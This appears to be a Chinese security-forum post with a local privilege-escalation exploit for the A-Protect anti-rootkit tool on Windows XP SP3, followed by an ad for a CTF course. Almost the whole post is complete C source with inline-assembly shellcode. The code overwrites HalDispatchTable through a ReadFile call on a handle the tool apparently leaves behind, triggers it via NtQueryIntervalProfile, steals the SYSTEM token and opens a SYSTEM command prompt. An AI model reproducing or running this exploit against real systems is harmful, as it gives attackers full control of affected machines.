环境:Windows XP SP3 虚拟机
1.打开A-Protect.exe
2.点击右上角的那个X,退出A-Protect.exe
3.编译如下代码,运行即可得到一个SYSTEM的CMD
#include <stdio.h>
#include <windows.h>
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
NtQueryIntervalProfile_ NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
ULONG WriteToHalDispatchTable, ZwOpenProcess, ZwOpenProcessTokenEx, ZwDuplicateToken, ZwSetInformationProcess;
ULONG SYSTEMCID[2]={4,0}, ObjectAttributes[6];
HANDLE hSystemProc, hTokenHandle, hNewTokenHandle;
void _declspec(naked) ShellCode()
{
__asm
{
pushad
pushfd
push offset SYSTEMCID
push offset ObjectAttributes
push 0x0400
push offset hSystemProc
call ZwOpenProcess
cmp eax,0
jnz exit0
push offset hTokenHandle
push 0x200
push TOKEN_ALL_ACCESS
push hSystemProc;
call ZwOpenProcessTokenEx
cmp eax,0
jnz exit0
push offset hNewTokenHandle
push TokenPrimary
push 0
push 0
push TOKEN_ALL_ACCESS
push hTokenHandle
call ZwDuplicateToken
cmp eax,0
jnz exit0
push 8
push offset hNewTokenHandle
push 9
push 0xFFFFFFFF
call ZwSetInformationProcess
exit0:
popfd
popad
ret
}
}
void main( )
{
if ( VirtualAlloc( (PVOID)0x650000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )
return;
memset((PVOID)0x650000,0x90,0x10000);
memcpy((PVOID)0x660000,ShellCode,200);
HMODULE ntdll = GetModuleHandle( L"ntdll.dll" );
NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );
if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )
return;
//取ntoskrnl的信息,只要调用一次就行
ULONG status, NtoskrnlBase;
RTL_PROCESS_MODULES module;
status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH
return;
NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;
//把ntoskrnl.exe加载进来
HMODULE ntoskrnl;
ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
if ( ntoskrnl == NULL )
return;
//计算实际地址
WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 3; //需要覆盖的地址
ZwOpenProcess = (ULONG)GetProcAddress(ntoskrnl,"ZwOpenProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
ZwOpenProcessTokenEx = (ULONG)GetProcAddress(ntoskrnl,"ZwOpenProcessTokenEx") - (ULONG)ntoskrnl + NtoskrnlBase;
ZwDuplicateToken = (ULONG)GetProcAddress(ntoskrnl,"ZwDuplicateToken") - (ULONG)ntoskrnl + NtoskrnlBase;
ZwSetInformationProcess = (ULONG)GetProcAddress(ntoskrnl,"ZwSetInformationProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
//以下代码就各显神通了
ReadFile((HANDLE)0x18881111,(LPVOID)WriteToHalDispatchTable,4,NULL,NULL);
//触发,弹出SYSTEM的CMD
NtQueryIntervalProfile( 2, &status );
STARTUPINFO si;
PROCESS_INFORMATION pii;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pii, sizeof(pii) );
CreateProcess( L"C:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pii );
return;
}
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界